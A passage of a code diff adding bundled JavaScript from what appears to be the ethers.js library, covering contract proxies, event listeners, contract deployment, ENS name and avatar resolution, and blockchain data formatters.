+ }, + has: (target, prop) => { + // Pass important checks (like `then` for Promise) through + if (passProperties.indexOf(prop) >= 0) { + return Reflect.has(target, prop); + } + return Reflect.has(target, prop) || this.interface.hasEvent(String(prop)); + } + }); + defineProperties(this, { filters }); + defineProperties(this, { + fallback: ((iface.receive || iface.fallback) ? (buildWrappedFallback(this)) : null) + }); + // Return a Proxy that will respond to functions + return new Proxy(this, { + get: (target, prop, receiver) => { + if (typeof (prop) === "symbol" || prop in target || passProperties.indexOf(prop) >= 0) { + return Reflect.get(target, prop, receiver); + } + // Undefined properties should return undefined + try { + return target.getFunction(prop); + } + catch (error) { + if (!isError(error, "INVALID_ARGUMENT") || error.argument !== "key") { + throw error; + } + } + return undefined; + }, + has: (target, prop) => { + if (typeof (prop) === "symbol" || prop in target || passProperties.indexOf(prop) >= 0) { + return Reflect.has(target, prop); + } + return target.interface.hasFunction(prop); + } + }); + } + /** + * Return a new Contract instance with the same target and ABI, but + * a different %%runner%%. + */ + connect(runner) { + return new BaseContract(this.target, this.interface, runner); + } + /** + * Return a new Contract instance with the same ABI and runner, but + * a different %%target%%. + */ + attach(target) { + return new BaseContract(target, this.interface, this.runner); + } + /** + * Return the resolved address of this Contract. + */ + async getAddress() { return await getInternal(this).addrPromise; } + /** + * Return the deployed bytecode or null if no bytecode is found. + */ + async getDeployedCode() { + const provider = getProvider(this.runner); + assert(provider, "runner does not support .provider", "UNSUPPORTED_OPERATION", { operation: "getDeployedCode" }); + const code = await provider.getCode(await this.getAddress()); + if (code === "0x") { + return null; + } + return code; + } + /** + * Resolve to this Contract once the bytecode has been deployed, or + * resolve immediately if already deployed. + */ + async waitForDeployment() { + // We have the deployement transaction; just use that (throws if deployement fails) + const deployTx = this.deploymentTransaction(); + if (deployTx) { + await deployTx.wait(); + return this; + } + // Check for code + const code = await this.getDeployedCode(); + if (code != null) { + return this; + } + // Make sure we can subscribe to a provider event + const provider = getProvider(this.runner); + assert(provider != null, "contract runner does not support .provider", "UNSUPPORTED_OPERATION", { operation: "waitForDeployment" }); + return new Promise((resolve, reject) => { + const checkCode = async () => { + try { + const code = await this.getDeployedCode(); + if (code != null) { + return resolve(this); + } + provider.once("block", checkCode); + } + catch (error) { + reject(error); + } + }; + checkCode(); + }); + } + /** + * Return the transaction used to deploy this contract. + * + * This is only available if this instance was returned from a + * [[ContractFactory]]. + */ + deploymentTransaction() { + return getInternal(this).deployTx; + } + /** + * Return the function for a given name. This is useful when a contract + * method name conflicts with a JavaScript name such as ``prototype`` or + * when using a Contract programatically. + */ + getFunction(key) { + if (typeof (key) !== "string") { + key = key.format(); + } + const func = buildWrappedMethod(this, key); + return func; + } + /** + * Return the event for a given name. This is useful when a contract + * event name conflicts with a JavaScript name such as ``prototype`` or + * when using a Contract programatically. + */ + getEvent(key) { + if (typeof (key) !== "string") { + key = key.format(); + } + return buildWrappedEvent(this, key); + } + /** + * @_ignore: + */ + async queryTransaction(hash) { + throw new Error("@TODO"); + } + /* + // @TODO: this is a non-backwards compatible change, but will be added + // in v7 and in a potential SmartContract class in an upcoming + // v6 release + async getTransactionReceipt(hash: string): Promise { + const provider = getProvider(this.runner); + assert(provider, "contract runner does not have a provider", + "UNSUPPORTED_OPERATION", { operation: "queryTransaction" }); + + const receipt = await provider.getTransactionReceipt(hash); + if (receipt == null) { return null; } + + return new ContractTransactionReceipt(this.interface, provider, receipt); + } + */ + /** + * Provide historic access to event data for %%event%% in the range + * %%fromBlock%% (default: ``0``) to %%toBlock%% (default: ``"latest"``) + * inclusive. + */ + async queryFilter(event, fromBlock, toBlock) { + if (fromBlock == null) { + fromBlock = 0; + } + if (toBlock == null) { + toBlock = "latest"; + } + const { addr, addrPromise } = getInternal(this); + const address = (addr ? addr : (await addrPromise)); + const { fragment, topics } = await getSubInfo(this, event); + const filter = { address, topics, fromBlock, toBlock }; + const provider = getProvider(this.runner); + assert(provider, "contract runner does not have a provider", "UNSUPPORTED_OPERATION", { operation: "queryFilter" }); + return (await provider.getLogs(filter)).map((log) => { + let foundFragment = fragment; + if (foundFragment == null) { + try { + foundFragment = this.interface.getEvent(log.topics[0]); + } + catch (error) { } + } + if (foundFragment) { + try { + return new EventLog(log, this.interface, foundFragment); + } + catch (error) { + return new UndecodedEventLog(log, error); + } + } + return new Log(log, provider); + }); + } + /** + * Add an event %%listener%% for the %%event%%. + */ + async on(event, listener) { + const sub = await getSub(this, "on", event); + sub.listeners.push({ listener, once: false }); + sub.start(); + return this; + } + /** + * Add an event %%listener%% for the %%event%%, but remove the listener + * after it is fired once. + */ + async once(event, listener) { + const sub = await getSub(this, "once", event); + sub.listeners.push({ listener, once: true }); + sub.start(); + return this; + } + /** + * Emit an %%event%% calling all listeners with %%args%%. + * + * Resolves to ``true`` if any listeners were called. + */ + async emit(event, ...args) { + return await emit(this, event, args, null); + } + /** + * Resolves to the number of listeners of %%event%% or the total number + * of listeners if unspecified. + */ + async listenerCount(event) { + if (event) { + const sub = await hasSub(this, event); + if (!sub) { + return 0; + } + return sub.listeners.length; + } + const { subs } = getInternal(this); + let total = 0; + for (const { listeners } of subs.values()) { + total += listeners.length; + } + return total; + } + /** + * Resolves to the listeners subscribed to %%event%% or all listeners + * if unspecified. + */ + async listeners(event) { + if (event) { + const sub = await hasSub(this, event); + if (!sub) { + return []; + } + return sub.listeners.map(({ listener }) => listener); + } + const { subs } = getInternal(this); + let result = []; + for (const { listeners } of subs.values()) { + result = result.concat(listeners.map(({ listener }) => listener)); + } + return result; + } + /** + * Remove the %%listener%% from the listeners for %%event%% or remove + * all listeners if unspecified. + */ + async off(event, listener) { + const sub = await hasSub(this, event); + if (!sub) { + return this; + } + if (listener) { + const index = sub.listeners.map(({ listener }) => listener).indexOf(listener); + if (index >= 0) { + sub.listeners.splice(index, 1); + } + } + if (listener == null || sub.listeners.length === 0) { + sub.stop(); + getInternal(this).subs.delete(sub.tag); + } + return this; + } + /** + * Remove all the listeners for %%event%% or remove all listeners if + * unspecified. + */ + async removeAllListeners(event) { + if (event) { + const sub = await hasSub(this, event); + if (!sub) { + return this; + } + sub.stop(); + getInternal(this).subs.delete(sub.tag); + } + else { + const { subs } = getInternal(this); + for (const { tag, stop } of subs.values()) { + stop(); + subs.delete(tag); + } + } + return this; + } + /** + * Alias for [on]. + */ + async addListener(event, listener) { + return await this.on(event, listener); + } + /** + * Alias for [off]. + */ + async removeListener(event, listener) { + return await this.off(event, listener); + } + /** + * Create a new Class for the %%abi%%. + */ + static buildClass(abi) { + class CustomContract extends BaseContract { + constructor(address, runner = null) { + super(address, abi, runner); + } + } + return CustomContract; + } + ; + /** + * Create a new BaseContract with a specified Interface. + */ + static from(target, abi, runner) { + if (runner == null) { + runner = null; + } + const contract = new this(target, abi, runner); + return contract; + } +} +function _ContractBase() { + return BaseContract; +} +/** + * A [[BaseContract]] with no type guards on its methods or events. + */ +class Contract extends _ContractBase() { +} + +// A = Arguments to the constructor +// I = Interface of deployed contracts +/** + * A **ContractFactory** is used to deploy a Contract to the blockchain. + */ +class ContractFactory { + /** + * The Contract Interface. + */ + interface; + /** + * The Contract deployment bytecode. Often called the initcode. + */ + bytecode; + /** + * The ContractRunner to deploy the Contract as. + */ + runner; + /** + * Create a new **ContractFactory** with %%abi%% and %%bytecode%%, + * optionally connected to %%runner%%. + * + * The %%bytecode%% may be the ``bytecode`` property within the + * standard Solidity JSON output. + */ + constructor(abi, bytecode, runner) { + const iface = Interface.from(abi); + // Dereference Solidity bytecode objects and allow a missing `0x`-prefix + if (bytecode instanceof Uint8Array) { + bytecode = hexlify(getBytes(bytecode)); + } + else { + if (typeof (bytecode) === "object") { + bytecode = bytecode.object; + } + if (!bytecode.startsWith("0x")) { + bytecode = "0x" + bytecode; + } + bytecode = hexlify(getBytes(bytecode)); + } + defineProperties(this, { + bytecode, interface: iface, runner: (runner || null) + }); + } + attach(target) { + return new BaseContract(target, this.interface, this.runner); + } + /** + * Resolves to the transaction to deploy the contract, passing %%args%% + * into the constructor. + */ + async getDeployTransaction(...args) { + let overrides = {}; + const fragment = this.interface.deploy; + if (fragment.inputs.length + 1 === args.length) { + overrides = await copyOverrides(args.pop()); + } + if (fragment.inputs.length !== args.length) { + throw new Error("incorrect number of arguments to constructor"); + } + const resolvedArgs = await resolveArgs(this.runner, fragment.inputs, args); + const data = concat([this.bytecode, this.interface.encodeDeploy(resolvedArgs)]); + return Object.assign({}, overrides, { data }); + } + /** + * Resolves to the Contract deployed by passing %%args%% into the + * constructor. + * + * This will resolve to the Contract before it has been deployed to the + * network, so the [[BaseContract-waitForDeployment]] should be used before + * sending any transactions to it. + */ + async deploy(...args) { + const tx = await this.getDeployTransaction(...args); + assert(this.runner && typeof (this.runner.sendTransaction) === "function", "factory runner does not support sending transactions", "UNSUPPORTED_OPERATION", { + operation: "sendTransaction" + }); + const sentTx = await this.runner.sendTransaction(tx); + const address = getCreateAddress(sentTx); + return new BaseContract(address, this.interface, this.runner, sentTx); + } + /** + * Return a new **ContractFactory** with the same ABI and bytecode, + * but connected to %%runner%%. + */ + connect(runner) { + return new ContractFactory(this.interface, this.bytecode, runner); + } + /** + * Create a new **ContractFactory** from the standard Solidity JSON output. + */ + static fromSolidity(output, runner) { + assertArgument(output != null, "bad compiler output", "output", output); + if (typeof (output) === "string") { + output = JSON.parse(output); + } + const abi = output.abi; + let bytecode = ""; + if (output.bytecode) { + bytecode = output.bytecode; + } + else if (output.evm && output.evm.bytecode) { + bytecode = output.evm.bytecode; + } + return new this(abi, bytecode, runner); + } +} + +/** + * ENS is a service which allows easy-to-remember names to map to + * network addresses. + * + * @_section: api/providers/ens-resolver:ENS Resolver [about-ens-rsolver] + */ +// @TODO: This should use the fetch-data:ipfs gateway +// Trim off the ipfs:// prefix and return the default gateway URL +function getIpfsLink(link) { + if (link.match(/^ipfs:\/\/ipfs\//i)) { + link = link.substring(12); + } + else if (link.match(/^ipfs:\/\//i)) { + link = link.substring(7); + } + else { + assertArgument(false, "unsupported IPFS format", "link", link); + } + return `https:/\/gateway.ipfs.io/ipfs/${link}`; +} +/** + * A provider plugin super-class for processing multicoin address types. + */ +class MulticoinProviderPlugin { + /** + * The name. + */ + name; + /** + * Creates a new **MulticoinProviderPluing** for %%name%%. + */ + constructor(name) { + defineProperties(this, { name }); + } + connect(proivder) { + return this; + } + /** + * Returns ``true`` if %%coinType%% is supported by this plugin. + */ + supportsCoinType(coinType) { + return false; + } + /** + * Resolves to the encoded %%address%% for %%coinType%%. + */ + async encodeAddress(coinType, address) { + throw new Error("unsupported coin"); + } + /** + * Resolves to the decoded %%data%% for %%coinType%%. + */ + async decodeAddress(coinType, data) { + throw new Error("unsupported coin"); + } +} +const matcherIpfs = new RegExp("^(ipfs):/\/(.*)$", "i"); +const matchers = [ + new RegExp("^(https):/\/(.*)$", "i"), + new RegExp("^(data):(.*)$", "i"), + matcherIpfs, + new RegExp("^eip155:[0-9]+/(erc[0-9]+):(.*)$", "i"), +]; +/** + * A connected object to a resolved ENS name resolver, which can be + * used to query additional details. + */ +class EnsResolver { + /** + * The connected provider. + */ + provider; + /** + * The address of the resolver. + */ + address; + /** + * The name this resolver was resolved against. + */ + name; + // For EIP-2544 names, the ancestor that provided the resolver + #supports2544; + #resolver; + constructor(provider, address, name) { + defineProperties(this, { provider, address, name }); + this.#supports2544 = null; + this.#resolver = new Contract(address, [ + "function supportsInterface(bytes4) view returns (bool)", + "function resolve(bytes, bytes) view returns (bytes)", + "function addr(bytes32) view returns (address)", + "function addr(bytes32, uint) view returns (bytes)", + "function text(bytes32, string) view returns (string)", + "function contenthash(bytes32) view returns (bytes)", + ], provider); + } + /** + * Resolves to true if the resolver supports wildcard resolution. + */ + async supportsWildcard() { + if (this.#supports2544 == null) { + this.#supports2544 = (async () => { + try { + return await this.#resolver.supportsInterface("0x9061b923"); + } + catch (error) { + // Wildcard resolvers must understand supportsInterface + // and return true. + if (isError(error, "CALL_EXCEPTION")) { + return false; + } + // Let future attempts try again... + this.#supports2544 = null; + throw error; + } + })(); + } + return await this.#supports2544; + } + async #fetch(funcName, params) { + params = (params || []).slice(); + const iface = this.#resolver.interface; + // The first parameters is always the nodehash + params.unshift(namehash(this.name)); + let fragment = null; + if (await this.supportsWildcard()) { + fragment = iface.getFunction(funcName); + assert(fragment, "missing fragment", "UNKNOWN_ERROR", { + info: { funcName } + }); + params = [ + dnsEncode(this.name, 255), + iface.encodeFunctionData(fragment, params) + ]; + funcName = "resolve(bytes,bytes)"; + } + params.push({ + enableCcipRead: true + }); + try { + const result = await this.#resolver[funcName](...params); + if (fragment) { + return iface.decodeFunctionResult(fragment, result)[0]; + } + return result; + } + catch (error) { + if (!isError(error, "CALL_EXCEPTION")) { + throw error; + } + } + return null; + } + /** + * Resolves to the address for %%coinType%% or null if the + * provided %%coinType%% has not been configured. + */ + async getAddress(coinType) { + if (coinType == null) { + coinType = 60; + } + if (coinType === 60) { + try { + const result = await this.#fetch("addr(bytes32)"); + // No address + if (result == null || result === ZeroAddress) { + return null; + } + return result; + } + catch (error) { + if (isError(error, "CALL_EXCEPTION")) { + return null; + } + throw error; + } + } + // Try decoding its EVM canonical chain as an EVM chain address first + if (coinType >= 0 && coinType < 0x80000000) { + let ethCoinType = coinType + 0x80000000; + const data = await this.#fetch("addr(bytes32,uint)", [ethCoinType]); + if (isHexString(data, 20)) { + return getAddress(data); + } + } + let coinPlugin = null; + for (const plugin of this.provider.plugins) { + if (!(plugin instanceof MulticoinProviderPlugin)) { + continue; + } + if (plugin.supportsCoinType(coinType)) { + coinPlugin = plugin; + break; + } + } + if (coinPlugin == null) { + return null; + } + // keccak256("addr(bytes32,uint256") + const data = await this.#fetch("addr(bytes32,uint)", [coinType]); + // No address + if (data == null || data === "0x") { + return null; + } + // Compute the address + const address = await coinPlugin.decodeAddress(coinType, data); + if (address != null) { + return address; + } + assert(false, `invalid coin data`, "UNSUPPORTED_OPERATION", { + operation: `getAddress(${coinType})`, + info: { coinType, data } + }); + } + /** + * Resolves to the EIP-634 text record for %%key%%, or ``null`` + * if unconfigured. + */ + async getText(key) { + const data = await this.#fetch("text(bytes32,string)", [key]); + if (data == null || data === "0x") { + return null; + } + return data; + } + /** + * Rsolves to the content-hash or ``null`` if unconfigured. + */ + async getContentHash() { + // keccak256("contenthash()") + const data = await this.#fetch("contenthash(bytes32)"); + // No contenthash + if (data == null || data === "0x") { + return null; + } + // IPFS (CID: 1, Type: 70=DAG-PB, 72=libp2p-key) + const ipfs = data.match(/^0x(e3010170|e5010172)(([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f]*))$/); + if (ipfs) { + const scheme = (ipfs[1] === "e3010170") ? "ipfs" : "ipns"; + const length = parseInt(ipfs[4], 16); + if (ipfs[5].length === length * 2) { + return `${scheme}:/\/${encodeBase58("0x" + ipfs[2])}`; + } + } + // Swarm (CID: 1, Type: swarm-manifest; hash/length hard-coded to keccak256/32) + const swarm = data.match(/^0xe40101fa011b20([0-9a-f]*)$/); + if (swarm && swarm[1].length === 64) { + return `bzz:/\/${swarm[1]}`; + } + assert(false, `invalid or unsupported content hash data`, "UNSUPPORTED_OPERATION", { + operation: "getContentHash()", + info: { data } + }); + } + /** + * Resolves to the avatar url or ``null`` if the avatar is either + * unconfigured or incorrectly configured (e.g. references an NFT + * not owned by the address). + * + * If diagnosing issues with configurations, the [[_getAvatar]] + * method may be useful. + */ + async getAvatar() { + const avatar = await this._getAvatar(); + return avatar.url; + } + /** + * When resolving an avatar, there are many steps involved, such + * fetching metadata and possibly validating ownership of an + * NFT. + * + * This method can be used to examine each step and the value it + * was working from. + */ + async _getAvatar() { + const linkage = [{ type: "name", value: this.name }]; + try { + // test data for ricmoo.eth + //const avatar = "eip155:1/erc721:0x265385c7f4132228A0d54EB1A9e7460b91c0cC68/29233"; + const avatar = await this.getText("avatar"); + if (avatar == null) { + linkage.push({ type: "!avatar", value: "" }); + return { url: null, linkage }; + } + linkage.push({ type: "avatar", value: avatar }); + for (let i = 0; i < matchers.length; i++) { + const match = avatar.match(matchers[i]); + if (match == null) { + continue; + } + const scheme = match[1].toLowerCase(); + switch (scheme) { + case "https": + case "data": + linkage.push({ type: "url", value: avatar }); + return { linkage, url: avatar }; + case "ipfs": { + const url = getIpfsLink(avatar); + linkage.push({ type: "ipfs", value: avatar }); + linkage.push({ type: "url", value: url }); + return { linkage, url }; + } + case "erc721": + case "erc1155": { + // Depending on the ERC type, use tokenURI(uint256) or url(uint256) + const selector = (scheme === "erc721") ? "tokenURI(uint256)" : "uri(uint256)"; + linkage.push({ type: scheme, value: avatar }); + // The owner of this name + const owner = await this.getAddress(); + if (owner == null) { + linkage.push({ type: "!owner", value: "" }); + return { url: null, linkage }; + } + const comps = (match[2] || "").split("/"); + if (comps.length !== 2) { + linkage.push({ type: `!${scheme}caip`, value: (match[2] || "") }); + return { url: null, linkage }; + } + const tokenId = comps[1]; + const contract = new Contract(comps[0], [ + // ERC-721 + "function tokenURI(uint) view returns (string)", + "function ownerOf(uint) view returns (address)", + // ERC-1155 + "function uri(uint) view returns (string)", + "function balanceOf(address, uint256) view returns (uint)" + ], this.provider); + // Check that this account owns the token + if (scheme === "erc721") { + const tokenOwner = await contract.ownerOf(tokenId); + if (owner !== tokenOwner) { + linkage.push({ type: "!owner", value: tokenOwner }); + return { url: null, linkage }; + } + linkage.push({ type: "owner", value: tokenOwner }); + } + else if (scheme === "erc1155") { + const balance = await contract.balanceOf(owner, tokenId); + if (!balance) { + linkage.push({ type: "!balance", value: "0" }); + return { url: null, linkage }; + } + linkage.push({ type: "balance", value: balance.toString() }); + } + // Call the token contract for the metadata URL + let metadataUrl = await contract[selector](tokenId); + if (metadataUrl == null || metadataUrl === "0x") { + linkage.push({ type: "!metadata-url", value: "" }); + return { url: null, linkage }; + } + linkage.push({ type: "metadata-url-base", value: metadataUrl }); + // ERC-1155 allows a generic {id} in the URL + if (scheme === "erc1155") { + metadataUrl = metadataUrl.replace("{id}", toBeHex(tokenId, 32).substring(2)); + linkage.push({ type: "metadata-url-expanded", value: metadataUrl }); + } + // Transform IPFS metadata links + if (metadataUrl.match(/^ipfs:/i)) { + metadataUrl = getIpfsLink(metadataUrl); + } + linkage.push({ type: "metadata-url", value: metadataUrl }); + // Get the token metadata + let metadata = {}; + const response = await (new FetchRequest(metadataUrl)).send(); + response.assertOk(); + try { + metadata = response.bodyJson; + } + catch (error) { + try { + linkage.push({ type: "!metadata", value: response.bodyText }); + } + catch (error) { + const bytes = response.body; + if (bytes) { + linkage.push({ type: "!metadata", value: hexlify(bytes) }); + } + return { url: null, linkage }; + } + return { url: null, linkage }; + } + if (!metadata) { + linkage.push({ type: "!metadata", value: "" }); + return { url: null, linkage }; + } + linkage.push({ type: "metadata", value: JSON.stringify(metadata) }); + // Pull the image URL out + let imageUrl = metadata.image; + if (typeof (imageUrl) !== "string") { + linkage.push({ type: "!imageUrl", value: "" }); + return { url: null, linkage }; + } + if (imageUrl.match(/^(https:\/\/|data:)/i)) { + // Allow + } + else { + // Transform IPFS link to gateway + const ipfs = imageUrl.match(matcherIpfs); + if (ipfs == null) { + linkage.push({ type: "!imageUrl-ipfs", value: imageUrl }); + return { url: null, linkage }; + } + linkage.push({ type: "imageUrl-ipfs", value: imageUrl }); + imageUrl = getIpfsLink(imageUrl); + } + linkage.push({ type: "url", value: imageUrl }); + return { linkage, url: imageUrl }; + } + } + } + } + catch (error) { } + return { linkage, url: null }; + } + static async getEnsAddress(provider) { + const network = await provider.getNetwork(); + const ensPlugin = network.getPlugin("org.ethers.plugins.network.Ens"); + // No ENS... + assert(ensPlugin, "network does not support ENS", "UNSUPPORTED_OPERATION", { + operation: "getEnsAddress", info: { network } + }); + return ensPlugin.address; + } + static async #getResolver(provider, name) { + const ensAddr = await EnsResolver.getEnsAddress(provider); + try { + const contract = new Contract(ensAddr, [ + "function resolver(bytes32) view returns (address)" + ], provider); + const addr = await contract.resolver(namehash(name), { + enableCcipRead: true + }); + if (addr === ZeroAddress) { + return null; + } + return addr; + } + catch (error) { + // ENS registry cannot throw errors on resolver(bytes32), + // so probably a link error + throw error; + } + return null; + } + /** + * Resolve to the ENS resolver for %%name%% using %%provider%% or + * ``null`` if unconfigured. + */ + static async fromName(provider, name) { + let currentName = name; + while (true) { + if (currentName === "" || currentName === ".") { + return null; + } + // Optimization since the eth node cannot change and does + // not have a wildcard resolver + if (name !== "eth" && currentName === "eth") { + return null; + } + // Check the current node for a resolver + const addr = await EnsResolver.#getResolver(provider, currentName); + // Found a resolver! + if (addr != null) { + const resolver = new EnsResolver(provider, addr, name); + // Legacy resolver found, using EIP-2544 so it isn't safe to use + if (currentName !== name && !(await resolver.supportsWildcard())) { + return null; + } + return resolver; + } + // Get the parent node + currentName = currentName.split(".").slice(1).join("."); + } + } +} + +/** + * @_ignore + */ +const BN_0 = BigInt(0); +function allowNull(format, nullValue) { + return (function (value) { + if (value == null) { + return nullValue; + } + return format(value); + }); +} +function arrayOf(format, allowNull) { + return ((array) => { + if (allowNull && array == null) { + return null; + } + if (!Array.isArray(array)) { + throw new Error("not an array"); + } + return array.map((i) => format(i)); + }); +} +// Requires an object which matches a fleet of other formatters +// Any FormatFunc may return `undefined` to have the value omitted +// from the result object. Calls preserve `this`. +function object(format, altNames) { + return ((value) => { + const result = {}; + for (const key in format) { + let srcKey = key; + if (altNames && key in altNames && !(srcKey in value)) { + for (const altKey of altNames[key]) { + if (altKey in value) { + srcKey = altKey; + break; + } + } + } + try { + const nv = format[key](value[srcKey]); + if (nv !== undefined) { + result[key] = nv; + } + } + catch (error) { + const message = (error instanceof Error) ? error.message : "not-an-error"; + assert(false, `invalid value for value.${key} (${message})`, "BAD_DATA", { value }); + } + } + return result; + }); +} +function formatBoolean(value) { + switch (value) { + case true: + case "true": + return true; + case false: + case "false": + return false; + } + assertArgument(false, `invalid boolean; ${JSON.stringify(value)}`, "value", value); +} +function formatData(value) { + assertArgument(isHexString(value, true), "invalid data", "value", value); + return value; +} +function formatHash(value) { + assertArgument(isHexString(value, 32), "invalid hash", "value", value); + return value; +} +const _formatLog = object({ + address: getAddress, + blockHash: formatHash, + blockNumber: getNumber, + data: formatData, + index: getNumber, + removed: allowNull(formatBoolean, false), + topics: arrayOf(formatHash), + transactionHash: formatHash, + transactionIndex: getNumber, +}, { + index: ["logIndex"] +}); +function formatLog(value) { + return _formatLog(value); +} +const _formatBlock = object({ + hash: allowNull(formatHash), + parentHash: formatHash, + parentBeaconBlockRoot: allowNull(formatHash, null), + number: getNumber, + timestamp: getNumber, + nonce: allowNull(formatData), + difficulty: getBigInt, + gasLimit: getBigInt, + gasUsed: getBigInt, + stateRoot: allowNull(formatHash, null), + receiptsRoot: allowNull(formatHash, null), + blobGasUsed: allowNull(getBigInt, null), + excessBlobGas: allowNull(getBigInt, null), + miner: allowNull(getAddress), + prevRandao: allowNull(formatHash, null), + extraData: formatData, + baseFeePerGas: allowNull(getBigInt) +}, { + prevRandao: ["mixHash"] +}); +function formatBlock(value) { + const result = _formatBlock(value); + result.transactions = value.transactions.map((tx) => { + if (typeof (tx) === "string") { + return tx; + } + return formatTransactionResponse(tx); + }); + return result; +} +const _formatReceiptLog = object({ + transactionIndex: getNumber, + blockNumber: getNumber, + transactionHash: formatHash, + address: getAddress, + topics: arrayOf(formatHash), + data: formatData, + index: getNumber, + blockHash: formatHash, +}, { + index: ["logIndex"] +}); +function formatReceiptLog(value) { + return _formatReceiptLog(value); +} +const _formatTransactionReceipt = object({ + to: allowNull(getAddress, null), + from: allowNull(getAddress, null), + contractAddress: allowNull(getAddress, null), + // should be allowNull(hash), but broken-EIP-658 support is handled in receipt + index: getNumber, + root: allowNull(hexlify), + gasUsed: getBigInt, + blobGasUsed: allowNull(getBigInt, null), + logsBloom: allowNull(formatData), + blockHash: formatHash, + hash: formatHash, + logs: arrayOf(formatReceiptLog), + blockNumber: getNumber, + //confirmations: allowNull(getNumber, null), + cumulativeGasUsed: getBigInt, + effectiveGasPrice: allowNull(getBigInt), + blobGasPrice: allowNull(getBigInt, null), + status: allowNull(getNumber), + type: allowNull(getNumber, 0) +}, { + effectiveGasPrice: ["gasPrice"], + hash: ["transactionHash"], + index: ["transactionIndex"], +}); +function formatTransactionReceipt(value) { + return _formatTransactionReceipt(value); +} +function formatTransactionResponse(value) { + // Some clients (TestRPC) do strange things like return 0x0 for the + // 0 address; correct this to be a real address + if (value.to && getBigInt(value.to) === BN_0) { + value.to = "0x0000000000000000000000000000000000000000"; + } + const result = object({ + hash: formatHash, + // Some nodes do not return this, usually test nodes (like Ganache) + index: allowNull(getNumber, undefined), + type: (value) => { + if (value === "0x" || value == null) { + return 0; + } + return getNumber(value); + }, + accessList: allowNull(accessListify, null), + blobVersionedHashes: allowNull(arrayOf(formatHash, true), null), + authorizationList: allowNull(arrayOf((v) => { + let sig; + if (v.signature) { + sig = v.signature; + } + else { + let yParity = v.yParity; + if (yParity === "0x1b") { + yParity = 0; + } + else if (yParity === "0x1c") { + yParity = 1; + } + sig = Object.assign({}, v, { yParity }); + } + return { + address: getAddress(v.address), + chainId: getBigInt(v.chainId), + nonce: getBigInt(v.nonce), + signature: Signature.from(sig) + }; + }, false), null), + blockHash: allowNull(formatHash, null), + blockNumber: allowNull(getNumber, null), + transactionIndex: allowNull(getNumber, null), + from: getAddress, + // either (gasPrice) or (maxPriorityFeePerGas + maxFeePerGas) must be set + gasPrice: allowNull(getBigInt), + maxPriorityFeePerGas: allowNull(getBigInt), + maxFeePerGas: allowNull(getBigInt), + maxFeePerBlobGas: allowNull(getBigInt, null), + gasLimit: getBigInt, + to: allowNull(getAddress, null), + value: getBigInt, + nonce: getNumber, + data: formatData, + creates: allowNull(getAddress, null), + chainId: allowNull(getBigInt, null) + }, { + data: ["input"], + gasLimit: ["gas"], + index: ["transactionIndex"] + })(value); + // If to and creates are empty, populate the creates from the value + if (result.to == null && result.creates == null) { + result.creates = getCreateAddress(result); + } + // @TODO: Check fee data + // Add an access list to supported transaction types + if ((value.type === 1 || value.type === 2) && value.accessList == null) { + result.accessList = []; + } + // Compute the signature + if (value.signature) { + result.signature = Signature.from(value.signature); + } + else { + result.signature = Signature.from(value); + } + // Some backends omit ChainId on legacy transactions, but we can compute it + if (result.chainId == null) { + const chainId = result.signature.legacyChainId; + if (chainId != null) { + result.chainId = chainId; + } + } + // @TODO: check chainID + /* + if (value.chainId != null) { + let chainId = value.chainId; + + if (isHexString(chainId)) { + chainId = BigNumber.from(chainId).toNumber(); + } + + result.chainId = chainId; + + } else { + let chainId = value.networkId; + + // geth-etc returns chainId + if (chainId == null && result.v == null) { + chainId = value.chainId; + } + + if (isHexString(chainId)) { + chainId = BigNumber.from(chainId).toNumber(); + } + + if (typeof(chainId) !== "number" && result.v != null) { + chainId = (result.v - 35) / 2; + if (chainId < 0) { chainId = 0; } + chainId = parseInt(chainId); + } + + if (typeof(chainId) !== "number") { chainId = 0; } + + result.chainId = chainId; + } + */ + // 0x0000... should actually be null + if (result.blockHash && getBigInt(result.blockHash) === BN_0) { + result.blockHash = null; + } + return result; +} + +const EnsAddress = "0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e"; +/** + * A **NetworkPlugin** provides additional functionality on a [[Network]]. + */ +class NetworkPlugin { + /** + * The name of the plugin. + * + * It is recommended to use reverse-domain-notation, which permits + * unique names with a known authority as well as hierarchal entries. + */ + name; + /** + * Creates a new **NetworkPlugin**. + */ + constructor(name) { + defineProperties(this, { name }); + } + /** + * Creates a copy of this plugin. + */ + clone() { + return new NetworkPlugin(this.name); + } +} +/** + * A **GasCostPlugin** allows a network to provide alternative values when + * computing the intrinsic gas required for a transaction. + */ +class GasCostPlugin extends NetworkPlugin { + /** + * The block number to treat these values as valid from. + * + * This allows a hardfork to have updated values included as well as + * mulutiple hardforks to be supported. + */ + effectiveBlock; + /** + * The transactions base fee. + */ + txBase; + /** + * The fee for creating a new account. + */ + txCreate; + /** + * The fee per zero-byte in the data. + */ + txDataZero; + /** + * The fee per non-zero-byte in the data. + */ + txDataNonzero; + /** + * The fee per storage key in the [[link-eip-2930]] access list. + */ + txAccessListStorageKey; + /** + * The fee per address in the [[link-eip-2930]] access list. + */ + txAccessListAddress; + /** + * Creates a new GasCostPlugin from %%effectiveBlock%% until the + * latest block or another GasCostPlugin supercedes that block number, + * with the associated %%costs%%. + */ + constructor(effectiveBlock, costs) { + if (effectiveBlock == null) { + effectiveBlock = 0; + } + super(`org.ethers.network.plugins.GasCost#${(effectiveBlock || 0)}`); + const props = { effectiveBlock }; + function set(name, nullish) { + let value = (costs || {})[name]; + if (value == null) { + value = nullish; + } + assertArgument(typeof (value) === "number", `invalud value for ${name}`, "costs", costs); + props[name] = value; + } + set("txBase", 21000); + set("txCreate", 32000); + set("txDataZero", 4); + set("txDataNonzero", 16); + set("txAccessListStorageKey", 1900); + set("txAccessListAddress", 2400); + defineProperties(this, props); + } + clone() { + return new GasCostPlugin(this.effectiveBlock, this); + } +} +/** + * An **EnsPlugin** allows a [[Network]] to specify the ENS Registry + * Contract address and the target network to use when using that + * contract. + * + * Various testnets have their own instance of the contract to use, but + * in general, the mainnet instance supports multi-chain addresses and + * should be used. + */ +class EnsPlugin extends NetworkPlugin { + /** + * The ENS Registrty Contract address. + */ + address; + /** + * The chain ID that the ENS contract lives on. + */ + targetNetwork; + /** + * Creates a new **EnsPlugin** connected to %%address%% on the + * %%targetNetwork%%. The default ENS address and mainnet is used + * if unspecified. + */ + constructor(address, targetNetwork) { + super("org.ethers.plugins.network.Ens"); + defineProperties(this, { + address: (address || EnsAddress), + targetNetwork: ((targetNetwork == null) ? 1 : targetNetwork) + }); + } + clone() { + return new EnsPlugin(this.address, this.targetNetwork); + } +} +/** + * A 